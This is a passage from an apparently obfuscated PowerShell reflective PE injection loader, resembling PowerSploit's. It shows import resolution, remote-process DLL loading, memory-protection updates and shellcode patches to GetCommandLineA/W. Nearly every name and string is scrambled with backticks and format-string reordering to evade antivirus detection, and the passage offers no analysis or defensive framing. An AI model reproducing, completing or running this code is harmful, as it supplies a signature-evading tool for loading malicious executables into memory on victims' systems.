  1614.                 ${im`pORtdeScR`i`Pt`or} =  (&("{0}{1}{2}"-f 'gEt','-','ItEM')  ("V"+"A"+"RiAblE"+":ml"+"hit")).VaLUE::"ptR`TOSTR`Ucture"(${ImpOrtD`eS`c`RiPTORP`TR}, [Type]${W`IN32T`yp`ES}."iM`AGe_imPort`_de`SCri`Pt`Or")
  1615.  
  1616.  
  1617.                 if (${ImPortde`s`criP`Tor}."CHArAcTe`R`i`STiCS" -eq 0 `
  1618.                         -and ${I`MPo`R`TDESCrIP`ToR}."fiRs`Tt`hUNK" -eq 0 `
  1619.                         -and ${iMpor`TdE`SCr`i`P`TOr}."FO`Rw`ARD`ercH`AiN" -eq 0 `
  1620.                         -and ${iM`PoRTdESC`R`I`PTOr}."N`AME" -eq 0 `
  1621.                         -and ${Impo`Rtdes`C`RipToR}."TiMeDATe`stA`mP" -eq 0)
  1622.                 {
  1623.                     &("{1}{2}{0}" -f 'ose','Wri','te-Verb') ("{2}{0}{4}{1}{3}" -f 'porting D','ort','Done im','s','LL imp')
  1624.                     break
  1625.                 }
  1626.  
  1627.                 ${Imp`O`RtDL`lHANDlE} =   (  &("{0}{1}" -f'D','Ir')  ("vARiaB"+"lE:T"+"2N"+"Gf") ).VAlUe::"z`eRO"
  1628.                 ${i`MportD`L`lpaTH`ptr} = (&("{3}{0}{6}{4}{5}{1}{2}" -f'-SignedI','signe','d','Add','AsU','n','nt') ([Int64]${pEIN`FO}."PE`Ha`NDlE") ([Int64]${Imp`or`TDESCr`IptOr}."n`Ame"))
  1629.                 ${imPO`RtDL`LpA`Th} =  (  &("{0}{1}{2}"-f'v','AriAbL','e') ('Ml'+'hit')).vAlUE::("{3}{1}{2}{0}" -f'si','oStringA','n','PtrT').Invoke(${iMpO`R`TDLLpAT`HPTr})
  1630.  
  1631.                 if (${Rem`oteLo`AD`InG} -eq ${t`Rue})
  1632.                 {
  1633.                     ${iMpO`Rtd`Llh`AN`DLE} = &("{3}{1}{4}{2}{0}" -f 'emoteProcess','mport','DllInR','I','-') -RemoteProcHandle ${Re`mO`T`epROC`hA`NdlE} -ImportDllPathPtr ${I`MPoRtdllpaT`H`P`TR}
  1634.                 }
  1635.                 else
  1636.                 {
  1637.                     ${IM`porTd`lL`h`An`Dle} = ${W`in`32FuNC`Ti`oNs}."lO`Ad`lIBrARy"."I`N`VOKE"(${ImPO`Rtd`LLPA`TH})
  1638.                 }
  1639.  
  1640.                 if ((${IMPOrt`d`LlH`ANDLe} -eq ${nu`lL}) -or (${i`m`PO`R`TDLlHanDlE} -eq  (&("{1}{2}{0}"-f 'e','vaRiaB','l') t2nGF  ).valuE::"z`ERo"))
  1641.                 {
  1642.                     throw ('E'+'rr'+'or '+'impo'+'rtin'+'g '+'DLL,'+' '+'DLLN'+'am'+'e: '+"$ImportDllPath")
  1643.                 }
  1644.  
  1645.  
  1646.                 [IntPtr]${thuN`krEF} = &("{3}{0}{4}{2}{5}{1}"-f 'ig','AsUnsigned','edI','Add-S','n','nt') (${p`eINFO}."pe`h`ANDLE") (${IMpor`Td`ESCr`iPTor}."Fi`RstTh`Unk")
  1647.                 [IntPtr]${O`RIg`InA`lTHUnKr`EF} = &("{0}{2}{5}{1}{4}{3}{6}"-f'Add-S','ntAsUns','igne','gne','i','dI','d') (${P`EinFo}."p`Eh`ANDlE") (${im`porTDESC`R`IPtoR}."cHaRa`Cte`RI`sti`cS")
  1648.                 [IntPtr]${OrI`g`iNAL`Thunk`REfVAl} =   (&("{1}{0}" -f 'aRiABLE','V')  mLhIT).ValUe::"p`TRto`STRUC`TuRe"(${OrIG`i`N`AlTHuNkR`eF}, [Type][IntPtr])
  1649.  
  1650.                 while (${O`RIGINAlTH`UNkref`Val} -ne  $t2NGf::"zE`RO")
  1651.                 {
  1652.                     ${load`ByOR`DI`Nal} = ${f`AlSe}
  1653.                     [IntPtr]${pR`OCE`d`UREnAmeP`Tr} =  ( &("{1}{0}{2}" -f'eT-Var','g','iabLe')  ('T2n'+'gf')).vAlUe::"z`Ero"
  1654.  
  1655.  
  1656.  
  1657.                     [IntPtr]${Ne`w`THUNKREf} =   ( &("{2}{1}{0}" -f'Em','t','gEt-I')  ("Var"+"I"+"ABle:T2N"+"gF")  ).VAlUe::"zE`Ro"
  1658.                     if(  (  &("{1}{0}{2}"-f 'VAriAB','GET-','lE') ("ML"+"HIT") -VAlUeO  )::"s`iZeof"([Type][IntPtr]) -eq 4 -and [Int32]${oRIGi`NA`LThu`NKREfv`Al} -lt 0)
  1659.                     {
  1660.                         [IntPtr]${PR`oce`dUR`enaMeptr} = [IntPtr]${ORiGin`AL`T`HuN`KREfval} -band 0xffff
  1661.                         ${Loadbyo`RDi`N`AL} = ${tr`Ue}
  1662.                     }
  1663.                     elseif( (  &("{3}{1}{0}{2}"-f 'd','eT-ChIL','ITEM','G') ('Var'+'iABl'+'E:mlH'+'i'+'t')).vALUe::"S`I`ZEof"([Type][IntPtr]) -eq 8 -and [Int64]${OR`i`giNalthU`N`kR`Efv`AL} -lt 0)
  1664.                     {
  1665.                         [IntPtr]${p`R`oC`edurEna`me`ptr} = [Int64]${oR`IGI`NaL`ThUnK`Re`Fval} -band 0xffff
  1666.                         ${L`o`ADByOrd`inaL} = ${Tr`Ue}
  1667.                     }
  1668.                     else
  1669.                     {
  1670.                         [IntPtr]${S`T`RinGad`dr} = &("{0}{1}{3}{2}"-f'Add-','SignedI','tAsUnsigned','n') (${Pe`iN`Fo}."PEh`AnD`lE") (${O`R`IGiN`ALT`hunkrE`FVaL})
  1671.                         ${St`R`InGAdDR} = &("{2}{4}{0}{5}{6}{3}{1}"-f 'dI','Unsigned','Ad','As','d-Signe','n','t') ${sTR`in`GadDR} (  (  &("{0}{1}{3}{2}"-f'get-vA','R','Le','IaB') ("MlHI"+"T")  -VaLuEonl)::"si`Ze`OF"([Type][UInt16]))
  1672.                         ${P`R`o`CEdu`RENaME} =   (  &("{0}{1}{2}"-f 'ge','t-VArIab','le')  ("MLHi"+"T") -valUEonl)::("{2}{3}{0}{1}"-f 'oString','Ansi','Pt','rT').Invoke(${ST`R`iNG`ADDr})
  1673.                         ${prOcEDU`R`e`NAMe`PTr} =   $mLhiT::("{1}{2}{5}{4}{3}{0}" -f 'i','String','To','lAns','ba','HGlo').Invoke(${pRoC`eduRE`NAMe})
  1674.                     }
  1675.  
  1676.                     if (${r`EMot`ElO`AdI`NG} -eq ${T`Rue})
  1677.                     {
  1678.                         [IntPtr]${nE`WTH`Unkr`ef} = &("{0}{6}{1}{4}{5}{3}{2}" -f 'G','Remo','s','Addres','te','Proc','et-') -RemoteProcHandle ${R`eMOt`EPR`O`Ch`ANdLe} -RemoteDllHandle ${IM`PORt`dllHa`NDLE} -FunctionNamePtr ${pRoce`D`URen`A`MEpTr} -LoadByOrdinal ${lOaDb`yo`Rd`I`NAL}
  1679.                     }
  1680.                     else
  1681.                     {
  1682.                         [IntPtr]${neW`T`HUNkreF} = ${w`In32F`UNc`TIonS}."g`ETpRocaDDrE`S`S`inTpTR"."I`NvOkE"(${ImP`OrT`dlL`h`ANdLE}, ${proce`DuRenam`e`Ptr})
  1683.                     }
  1684.  
  1685.                     if (${nEwt`hUn`kRef} -eq ${Nu`ll} -or ${n`eW`ThuN`KREF} -eq   (&('gi')  VArIaBlE:t2NGF ).VAluE::"z`eRo")
  1686.                     {
  1687.                         if (${l`o`ADB`yorDi`NAl})
  1688.                         {
  1689.                             Throw ('New'+' '+'func'+'tio'+'n '+'ref'+'e'+'renc'+'e '+'i'+'s '+'null'+', '+'this'+' '+'is'+' '+'almo'+'st'+' '+'ce'+'r'+'tainly '+'a '+'bug'+' '+'i'+'n '+'th'+'is '+'sc'+'ript. '+'F'+'unc'+'tion '+'O'+'rd'+'inal: '+"$ProcedureNamePtr. "+'Dll:'+' '+"$ImportDllPath")
  1690.                         }
  1691.                         else
  1692.                         {
  1693.                             Throw ('N'+'ew '+'f'+'unct'+'ion '+'refere'+'nc'+'e '+'i'+'s '+'nul'+'l, '+'th'+'is '+'is'+' '+'a'+'lmos'+'t '+'c'+'erta'+'inly '+'a '+'bu'+'g '+'i'+'n '+'thi'+'s '+'scri'+'pt.'+' '+'F'+'un'+'ction: '+"$ProcedureName. "+'D'+'ll: '+"$ImportDllPath")
  1694.                         }
  1695.                     }
  1696.  
  1697.                       (  &("{1}{2}{0}" -f'EM','g','eT-IT') VaRiaBLE:mLhIT ).vaLUe::("{1}{2}{0}{3}" -f'ctureT','S','tru','oPtr').Invoke(${nEw`T`h`UNKref}, ${tH`UnkrEF}, ${fAL`Se})
  1698.  
  1699.                     ${tH`U`NkrEF} = &("{2}{4}{0}{1}{3}{5}"-f'ntA','sUns','A','i','dd-SignedI','gned') ([Int64]${T`HuNkR`eF}) (  (&("{0}{1}" -f'G','cI') ('VAR'+'IaB'+'le:mlhIT') ).vAlUE::"sIZ`EoF"([Type][IntPtr]))
  1700.                     [IntPtr]${or`ig`InALTH`U`NKr`eF} = &("{0}{4}{3}{1}{2}" -f'Add-Sig','dIntAsUnsig','ned','e','n') ([Int64]${OR`IgiNA`l`T`hUNkR`eF}) (  ( &("{1}{0}" -f 'rIAbLe','vA') mLHit  -vaLuEONlY )::"SIZ`EOf"([Type][IntPtr]))
  1701.                     [IntPtr]${oRIGi`N`A`lthUnkr`EFVal} =  ( &("{0}{1}"-f'd','IR')  ("v"+"aRIaB"+"LE:ml"+"hit")).vAluE::"pt`RTos`T`RUcTuRE"(${OR`iGinAL`T`HUnKreF}, [Type][IntPtr])
  1702.  
  1703.  
  1704.  
  1705.                     if ((-not ${Lo`Ad`ByorD`InAL}) -and (${PRocED`UreN`AMe`PTR} -ne   $t2Ngf::"z`ERO"))
  1706.                     {
  1707.                           (  &('Gi') ("v"+"A"+"rIaB"+"LE"+":mLhIT")  ).VALUE::("{3}{0}{1}{2}" -f'r','eeHGlo','bal','F').Invoke(${PR`oc`e`dUr`EnAMEPTR})
  1708.                         ${pr`oce`DURena`M`EptR} =  ( &("{2}{3}{1}{0}"-f'e','bl','gET-va','riA')  t2nGF -VAluEo )::"Ze`Ro"
  1709.                     }
  1710.                 }
  1711.  
  1712.                 ${iMpO`RtDEScRiP`TO`RpTr} = &("{3}{5}{4}{0}{2}{1}" -f'-Signe','ned','dIntAsUnsig','A','d','d') (${IMPoRtD`EscR`i`PT`ORpTr}) ( (&("{2}{0}{1}"-f 'T','-VARiabLe','GE')  MLhIt).value::"s`Iz`EoF"([Type]${win3`2typ`Es}."ImaGE_`IMP`or`T_`DeSc`R`IpTor"))
  1713.             }
  1714.         }
  1715.     }
  1716.  
  1717.     Function geT-VirTUa`l`PRO`TE`c`TvaluE
  1718.     {
  1719.         Param(
  1720.         [Parameter(POSitIOn = 0, mandATORy = ${t`Rue})]
  1721.         [UInt32]
  1722.         ${Se`cTionchAr`A`CteR`iS`TiCs}
  1723.         )
  1724.  
  1725.         ${pR`O`TECtiO`NfLAg} = 0x0
  1726.         if ((${sEctiO`N`ChA`R`A`C`TeRISTICs} -band ${Wi`N`32conS`TANTS}."I`m`A`GE_S`c`N_Me`M_exEcUte") -gt 0)
  1727.         {
  1728.             if ((${Se`CtiON`c`HARaCtEr`ISticS} -band ${w`IN3`2cONStAn`TS}."IMaGe_`sc`N_ME`m_ReAD") -gt 0)
  1729.             {
  1730.                 if ((${SecTioNCHA`RAct`eRIS`TiCS} -band ${W`in`3`2conSTAnts}."imAge`_`SC`N_mem_WR`ITE") -gt 0)
  1731.                 {
  1732.                     ${p`ROTeCtiO`NFl`AG} = ${wI`N32Cons`T`AnTs}."pA`g`E_`E`xeCuTE_R`e`AdwriTe"
  1733.                 }
  1734.                 else
  1735.                 {
  1736.                     ${p`ROt`ecTIO`NfLaG} = ${win`32c`OnST`ANtS}."pAge`_ExecUt`e_Re`Ad"
  1737.                 }
  1738.             }
  1739.             else
  1740.             {
  1741.                 if ((${sECTi`on`Ch`Ar`A`CTer`iSTics} -band ${WIN3`2cons`TA`N`Ts}."IMAG`E`_SCN`_mEM_wr`ITe") -gt 0)
  1742.                 {
  1743.                     ${pr`otEcTI`ONF`lAG} = ${wiN`3`2cOn`staNts}."Pa`g`e_exeCute_WR`It`eCOpY"
  1744.                 }
  1745.                 else
  1746.                 {
  1747.                     ${Prot`e`ctION`FLAG} = ${Win3`2Co`N`StANts}."Pag`E`_eXECUTe"
  1748.                 }
  1749.             }
  1750.         }
  1751.         else
  1752.         {
  1753.             if ((${sECtI`OnCh`ARA`c`T`eri`STicS} -band ${WiN3`2C`ONsTa`NTs}."IMA`GE_scn_m`em_re`Ad") -gt 0)
  1754.             {
  1755.                 if ((${Sec`T`I`oNCha`Racte`RI`stiCs} -band ${Wi`N32cO`N`stANTs}."I`mAge_S`cN_M`e`m`_WRiTE") -gt 0)
  1756.                 {
  1757.                     ${pr`O`TeCtI`o`NflAG} = ${WIN`3`2c`oNstAn`TS}."pAGE_`REAdW`R`ItE"
  1758.                 }
  1759.                 else
  1760.                 {
  1761.                     ${P`ROt`E`Ct`IOnflAg} = ${wIn32`COnS`TaNts}."PaGe_re`AD`On`ly"
  1762.                 }
  1763.             }
  1764.             else
  1765.             {
  1766.                 if ((${SEc`T`IONC`hA`RAC`TErisTIcS} -band ${wI`N`32CoNs`TAnTs}."IM`A`GE_`sCN_mEM`_WRIte") -gt 0)
  1767.                 {
  1768.                     ${Pr`OTEc`Tio`NfLAg} = ${WI`N3`2CON`StaNTS}."PA`gE`_wRIt`ECOPY"
  1769.                 }
  1770.                 else
  1771.                 {
  1772.                     ${pr`OTE`CtI`onFlag} = ${wI`N3`2coNsTan`TS}."p`AGe_noaCC`eSS"
  1773.                 }
  1774.             }
  1775.         }
  1776.  
  1777.         if ((${sECTIonC`hA`R`AC`TE`RiStiCS} -band ${wIn32`coNs`TANtS}."imaGE_s`C`N`_M`E`M_nOt_cAC`H`ed") -gt 0)
  1778.         {
  1779.             ${PR`otECti`oNflag} = ${prOtECtio`Nf`L`AG} -bor ${WI`N3`2c`ONSTan`TS}."P`AgE_n`OCAChE"
  1780.         }
  1781.  
  1782.         return ${ProtE`Ct`iOnFl`AG}
  1783.     }
  1784.  
  1785.     Function UP`DA`T`E-mEMOrYp`ROTEcTio`NFlAgs
  1786.     {
  1787.         Param(
  1788.         [Parameter(pOsItioN = 0, mANdAtoRy = ${Tr`Ue})]
  1789.         [System.Object]
  1790.         ${PE`In`FO},
  1791.  
  1792.         [Parameter(posItIoN = 1, maNDAtory = ${Tr`Ue})]
  1793.         [System.Object]
  1794.         ${w`I`N32FuNcT`ionS},
  1795.  
  1796.         [Parameter(poSITION = 2, mANdATOry = ${T`RuE})]
  1797.         [System.Object]
  1798.         ${W`i`N32c`OnSTANTS},
  1799.  
  1800.         [Parameter(PosiTion = 3, MandATory = ${T`Rue})]
  1801.         [System.Object]
  1802.         ${WiN`3`2TY`PEs}
  1803.         )
  1804.  
  1805.         for( ${I} = 0; ${i} -lt ${PE`In`Fo}."Im`Age_N`T_h`EadERS"."fil`eHe`A`der"."nUmbEr`OFSEc`T`Io`Ns"; ${I}++)
  1806.         {
  1807.             [IntPtr]${sECt`iONheAD`eRp`TR} = [IntPtr](&("{4}{5}{6}{3}{2}{1}{0}" -f'ed','nsign','ntAsU','dI','Ad','d-Si','gne') ([Int64]${PE`INFo}."SeCTioN`H`E`ADe`RpTR") (${I} *  $MLhIT::"siz`e`Of"([Type]${wIN3`2`TypeS}."ImA`GE_se`cT`IOn_heAd`er")))
  1808.             ${seCtIo`Nh`eADeR} =   $mlHiT::"PTrtOST`RuCTu`RE"(${s`eC`T`IonHe`Ad`erPTR}, [Type]${WIn32t`Y`pes}."i`mA`Ge_Se`CT`i`oN_HeAdEr")
  1809.             [IntPtr]${s`ec`T`IoNpTr} = &("{0}{3}{5}{1}{2}{6}{4}" -f'A','-','Signe','d','sUnsigned','d','dIntA') (${P`EiNfO}."PehA`NdlE") (${SeC`TiOnhE`A`DER}."vI`RTUal`AddRESS")
  1810.  
  1811.             [UInt32]${PrOTeC`T`F`laG} = &("{3}{0}{2}{4}{1}" -f'-Vir','e','tualPr','Get','otectValu') ${SE`cTiONH`EaDER}."C`HaR`ActERi`S`Tics"
  1812.             [UInt32]${se`CTion`s`ize} = ${S`ec`TiOn`He`ADeR}."vir`TuALSi`Ze"
  1813.  
  1814.             [UInt32]${Oldpr`oT`ecTF`laG} = 0
  1815.             &("{4}{2}{5}{0}{1}{3}"-f'y','Ran','o','geValid','Test-Mem','r') -DebugString ("{4}{1}{6}{5}{2}{3}{9}{7}{8}{0}{10}"-f'ualP','e','oryP','rot','Updat','Mem','-','::','Virt','ectionFlags','rotect') -PEInfo ${pe`info} -StartAddress ${SEC`Ti`ON`pTR} -Size ${se`cTIon`Size} | &("{1}{2}{0}" -f'l','Ou','t-Nul')
  1816.             ${suCC`ESS} = ${win`32FU`NcTi`ONS}."viRtUA`L`pr`OTEcT"."INV`OKE"(${sE`c`TIoN`pTr}, ${se`CTIO`NS`Ize}, ${PrOTeC`TFL`AG}, [Ref]${oldp`ROtec`Tf`lag})
  1817.             if (${sUC`CE`Ss} -eq ${fa`lSe})
  1818.             {
  1819.                 Throw ("{2}{0}{6}{4}{1}{5}{3}"-f'b',' me','Una','ion','ange','mory protect','le to ch')
  1820.             }
  1821.         }
  1822.     }
  1823.  
  1824.  
  1825.  
  1826.     Function UpDAT`e-ExEFUN`c`TI`OnS
  1827.     {
  1828.         Param(
  1829.         [Parameter(PoSItiON = 0, mANDATOrY = ${T`Rue})]
  1830.         [System.Object]
  1831.         ${Pe`I`NFo},
  1832.  
  1833.         [Parameter(PosiTIoN = 1, MAndATORY = ${t`RUE})]
  1834.         [System.Object]
  1835.         ${win3`2fU`Nc`Tions},
  1836.  
  1837.         [Parameter(pOSItIoN = 2, MAnDaTOrY = ${tr`UE})]
  1838.         [System.Object]
  1839.         ${wi`N`32COnS`TAn`TS},
  1840.  
  1841.         [Parameter(pOsItIoN = 3, MaNDAtORY = ${t`RUE})]
  1842.         [String]
  1843.         ${E`x`E`ARguMENts},
  1844.  
  1845.         [Parameter(PoSITIoN = 4, MAnDAtOrY = ${TR`UE})]
  1846.         [IntPtr]
  1847.         ${Exe`D`oNEb`yTEP`TR}
  1848.         )
  1849.  
  1850.  
  1851.         ${rET`U`RnArR`Ay} = @()
  1852.  
  1853.         ${PtrsI`zE} =   (  &('gI')  VARiabLe:MlhIt  ).vAlUE::"s`IZEoF"([Type][IntPtr])
  1854.         [UInt32]${OL`dPr`otecTf`laG} = 0
  1855.  
  1856.         [IntPtr]${k`ErNe`l32HanD`lE} = ${W`In32FUN`cTI`oNS}."gEtMo`Du`lEhan`dle"."INvo`KE"(("{1}{0}{3}{2}"-f'nel','Ker','.dll','32'))
  1857.         if (${KE`R`NeL`32HaNDlE} -eq   ( &("{0}{1}{2}" -f 'GET','-varIabL','e')  ('t2n'+'Gf')  ).VAlue::"Z`eRO")
  1858.         {
  1859.             throw ("{2}{0}{1}{4}{3}"-f 'rnel3','2','Ke','null',' handle ')
  1860.         }
  1861.  
  1862.         [IntPtr]${k`e`R`Nelba`SEhaND`le} = ${WI`N`32fUnCtiO`Ns}."GETmOd`UL`eH`AN`DLE"."I`Nvo`ke"(("{3}{4}{2}{1}{0}" -f 'dll','lBase.','ne','K','er'))
  1863.         if (${Ke`R`NELb`A`seHAndLE} -eq  (&('LS')  VarIaBLe:t2Ngf).value::"ze`RO")
  1864.         {
  1865.             throw ("{4}{3}{6}{1}{0}{5}{2}" -f'ase','B','ll','n','Ker',' handle nu','el')
  1866.         }
  1867.  
  1868.  
  1869.  
  1870.  
  1871.         ${cmD`li`N`E`WArgsPTr} =  $MlhIt::("{1}{5}{0}{4}{3}{2}" -f 'ngToHGl','St','lUni','ba','o','ri').Invoke(${eXearGU`m`eN`TS})
  1872.         ${cmd`l`iNeA`ARgSpTr} =  $MLhIT::("{5}{2}{1}{4}{0}{3}"-f 'Ans','H','ingTo','i','Global','Str').Invoke(${eXE`ArGU`m`En`Ts})
  1873.  
  1874.         [IntPtr]${GE`TcOMmanDl`I`N`E`AADDr} = ${wi`N32F`UNc`TIo`NS}."G`ETPro`C`AddR`Ess"."INV`OKE"(${Ke`RNelbAs`EH`AN`dLe}, ("{2}{0}{1}{3}{4}"-f'tComm','a','Ge','ndLine','A'))
  1875.         [IntPtr]${gEt`ComMA`NdL`inewADdR} = ${WI`N32fUN`cT`IoNs}."geT`ProCadd`R`e`SS"."I`NvOkE"(${KeRn`eLB`A`SeHANdle}, ("{0}{2}{3}{1}"-f 'GetCo','ineW','mm','andL'))
  1876.  
  1877.         if (${G`E`Tco`MMaNdLiNEAaD`Dr} -eq   $T2ngF::"z`Ero" -or ${Ge`TComMANDLi`Ne`w`AD`DR} -eq  $T2NGF::"Z`eRo")
  1878.         {
  1879.             throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr) "
  1880.         }
  1881.  
  1882.  
  1883.         [Byte[]]${SH`elL`COd`E1} = @()
  1884.         if (${ptrsI`ZE} -eq 8)
  1885.         {
  1886.             ${She`LL`C`Ode1} += 0x48
  1887.         }
  1888.         ${SHeL`lco`de1} += 0xb8
  1889.  
  1890.         [Byte[]]${sHeL`L`Cod`e2} = @(0xc3)
  1891.         ${t`otAL`s`IZE} = ${SheL`l`cODE1}."L`ENgTh" + ${PTr`si`zE} + ${shEll`Co`De2}."LEnG`TH"
  1892.  
  1893.  
  1894.  
  1895.         ${Getc`OMManDL`IneA`ORI`GB`YtESPtR} =   $mLHIt::("{1}{2}{0}" -f 'obal','Allo','cHGl').Invoke(${To`T`ALSize})
  1896.         ${G`EtcoMMaN`d`Li`NeWo`RIG`ByT`Es`ptr} =   $MlHit::("{1}{0}{2}"-f'cHGlob','Allo','al').Invoke(${To`Tal`siZE})
  1897.         ${WiN`32`FuN`ct`IOnS}."ME`Mc`PY"."InV`okE"(${GETCom`ma`Nd`L`INeaoRiGBY`TEsp`TR}, ${Get`C`O`mmAnd`linE`AAd`dR}, [UInt64]${to`TAL`sIzE}) | &("{0}{1}{2}" -f 'O','ut','-Null')
  1898.         ${W`IN`32Func`TioNs}."m`EmCpy"."In`VoKe"(${GETco`Mm`A`N`dlI`N`EWorIGbyteSPTR}, ${geTC`ommANDl`IN`E`w`Ad`Dr}, [UInt64]${to`T`AlSiZE}) | &("{2}{1}{0}" -f'l','Nul','Out-')
  1899.         ${r`e`T`UrNArrAy} += ,(${g`Et`Co`m`ManDLinEaaD`dR}, ${gE`T`COMmaNdLIn`e`Ao`Rigb`yte`sptR}, ${TOTa`LS`iZE})
  1900.         ${REturna`RR`AY} += ,(${G`ET`cOmMa`NDLI`NEwaD`Dr}, ${GetCo`MM`AnDLIne`W`Or`IgbYT`esPTr}, ${tota`lsi`Ze})
  1901.  
  1902.  
  1903.         [UInt32]${OLD`P`ROT`e`CTFlaG} = 0
  1904.         ${sU`c`cEss} = ${W`i`N32FunCTIO`NS}."v`IrTU`A`lpRotECT"."InvO`ke"(${G`etC`omm`AnDl`INeaAd`dR}, [UInt32]${tO`Tal`S`IzE}, [UInt32](${wIN32C`oNsTaN`Ts}."pAgE_e`XeC`UTe`_`RE`ADWRItE"), [Ref]${ol`dPR`OTeCTflAg})
  1905.         if (${S`UcCesS} = ${Fa`lSe})
  1906.         {
  1907.             throw ("{0}{5}{2}{3}{4}{1}{6}"-f 'Ca','ct','to Virtua','lP','rote','ll ',' failed')
  1908.         }
  1909.  
  1910.         ${ge`T`COMM`AndLINeaAdd`RTEMP} = ${GetC`oMmA`NDlINE`AADdr}
  1911.         &("{1}{4}{0}{2}{3}{5}" -f 'te','W','-BytesToM','emo','ri','ry') -Bytes ${s`he`llcode1} -MemoryAddress ${ge`Tc`o`mMAN`DLiNeA`AD`DRtEMp}
  1912.         ${gETCOmmaN`D`LIneAAD`Dr`TEmP} = &("{2}{6}{5}{1}{0}{3}{4}"-f'U','s','Add-Si','nsig','ned','edIntA','gn') ${GET`Co`mma`Ndl`inEA`AdDrteMP} (${s`helL`CODE1}."L`EnGth")
  1913.          $mLHit::("{0}{2}{3}{1}"-f'Stru','eToPtr','ct','ur').Invoke(${c`MDLINeaA`R`G`SPTr}, ${GEtCo`m`m`AnD`LInEAA`dDR`TE`mp}, ${f`Al`se})
  1914.         ${GeT`CO`mMAndlINEaa`ddr`TEmP} = &("{2}{0}{1}{4}{3}{5}"-f'tA','sUns','Add-SignedIn','gn','i','ed') ${GE`Tc`o`mmA`N`dlinEAA`d`DrtemP} ${P`TRSI`ZE}
  1915.         &("{1}{0}{3}{2}"-f'ytesToMe','Write-B','ry','mo') -Bytes ${S`HEl`L`cOde2} -MemoryAddress ${gETco`Mm`And`LINEAaDdR`TEmP}
  1916.  
  1917.         ${wIN`32`FuN`cTIO`NS}."vIRt`U`ALP`RotE`Ct"."in`VOKE"(${G`Et`cOmmANDlInEa`Ad`Dr}, [UInt32]${t`O`Ta`lsiZe}, [UInt32]${oL`dP`RO`TecTf`laG}, [Ref]${oLDPr`oTEC`T`F`LAG}) | &("{2}{1}{0}" -f'Null','ut-','O')
  1918.  
  1919.  
  1920.  
  1921.         [UInt32]${o`ldP`ROtEctf`Lag} = 0
  1922.         ${s`U`CCESs} = ${Wi`N32fU`Nct`i`oNS}."vi`RTUalPr`O`TE`CT"."iN`VOke"(${gE`TC`OMMa`ND`lInE`waDdr}, [UInt32]${to`TAl`Size}, [UInt32](${W`I`N3`2ConsTAntS}."pagE`_`ExeCUTE`_`REAdWrITe"), [Ref]${O`LdP`ROt`ec`TfLaG})
  1923.         if (${suc`Ce`SS} = ${FA`L`sE})
  1924.         {
  1925.             throw ("{8}{7}{1}{4}{2}{3}{0}{6}{5}"-f 'lProte','o V','r','tua','i','t failed','c','all t','C')
  1926.         }
  1927.  
  1928.         ${Ge`TCOMMa`NDL`In`EW`Add`RTeMp} = ${gETco`MMaNDLI`NE`WADDr}
  1929.         &("{0}{2}{3}{4}{1}"-f 'Wr','esToMemory','it','e-','Byt') -Bytes ${SHellc`o`D`E1} -MemoryAddress ${g`ETcOMM`A`Nd`lInEwA`DDrTemP}
  1930.         ${GeTCom`Ma`Nd`l`INEWadD`RtEmP} = &("{3}{1}{4}{0}{5}{2}" -f'edIntAsUnsig','i','ed','Add-S','gn','n') ${g`eT`C`OM`M`AndLiNeWADD`R`TEMP} (${Sh`El`lCo`de1}."le`NGTH")
  1931.           (  &("{1}{0}" -f'em','IT') ("va"+"rIAB"+"le:MlHI"+"t")).ValUe::("{1}{0}{2}"-f'ructure','St','ToPtr').Invoke(${cMDL`i`NEW`ARgSPTR}, ${GetC`OMmaNd`lI`NeW`A`Dd`RT`Emp}, ${fa`lse})
  1932.         ${gEtCOmmAndl`In`EW`AdD`R`TeMP} = &("{5}{2}{0}{1}{3}{4}{6}"-f'Int','A','igned','sUnsi','g','Add-S','ned') ${gEtCOMma`N`d`liN`EWadD`R`TeMP} ${pTR`S`ize}
  1933.         &("{3}{4}{0}{2}{1}"-f'esToM','ry','emo','Wri','te-Byt') -Bytes ${sHELlC`O`DE2} -MemoryAddress ${G`ET`C`oMmA`NdL`INEwadD`RTeMp}
  1934.  
  1935.         ${WI`N32fU`Nc`TIons}."vI`RTUalprot`eCt"."i`NvO`kE"(${gEtCOmMan`dL`InE`w`AdDR}, [UInt32]${total`S`i`Ze}, [UInt32]${oL`DprOT`Ec`TFLAG}, [Ref]${oLdpro`TECt`F`laG}) | &("{1}{2}{0}"-f 'l','Out-','Nul')
  1936.  
  1937.  
  1938.  
  1939.  
  1940.  
  1941.  
  1942.  
  1943.  
  1944.         ${D`Ll`LisT} = @(("{2}{0}{1}{3}"-f 'svcr7','0d.','m','dll'), ("{2}{0}{1}{3}" -f 'cr7','1d.','msv','dll'), ("{2}{0}{1}" -f'vcr80d.','dll','ms'), ("{1}{2}{0}{3}"-f '90d.','ms','vcr','dll'), ("{2}{0}{1}" -f'vc','r100d.dll','ms'), ("{1}{0}{2}" -f '0','msvcr11','d.dll'), ("{1}{2}{0}" -f 'r70.dll','ms','vc') `
  1945.             , ("{0}{2}{1}{3}" -f'msvcr','l','71.d','l'), ("{2}{0}{1}"-f 'cr','80.dll','msv'), ("{1}{2}{0}" -f'dll','m','svcr90.'), ("{0}{1}{2}"-f 'msv','cr100.','dll'), ("{1}{3}{2}{0}"-f'l','msvcr1','dl','10.'))
  1946.  
  1947.         foreach (${d`LL} in ${d`LLLIST})
  1948.         {
  1949.             [IntPtr]${Dl`lhA`NDlE} = ${WIn3`2f`UN`Cti`ONs}."getM`Od`UleH`AnD`le"."InVO`kE"(${D`lL})
  1950.             if (${dLLhan`d`Le} -ne   $t2NGF::"ze`Ro")
  1951.             {
  1952.                 [IntPtr]${Wc`mDlNAD`dr} = ${Win`32f`U`NctiONS}."Ge`Tp`ROCa`D`dResS"."inv`OkE"(${DLl`hAN`dLE}, ("{1}{0}"-f'ln','_wcmd'))
  1953.                 [IntPtr]${A`cMDLnA`ddR} = ${WIn32`Func`T`IOnS}."getProcAd`D`R`esS"."IN`VoKe"(${DL`lhA`Nd`LE}, ("{2}{0}{1}" -f'md','ln','_ac'))
  1954.                 if (${WC`M`dLna`ddR} -eq  ( &("{1}{3}{2}{0}"-f'-vaRIaBLE','g','t','E')  ("T2"+"NgF")  -VA)::"Z`ero" -or ${a`CMD`LNADDR} -eq   ( &("{2}{0}{1}" -f 'IaBL','E','VAr') ("T2"+"NGF") -vALUe)::"ZE`RO")
  1955.                 {
  1956.                     ((("{2}{3}{1}{7}{0}{5}{6}{4}"-f'ind','{0}','Erro','r, couldn','n',' _wcmdln or _a','cmdl','t f'))  -F  [cHar]39)
  1957.                 }
  1958.  
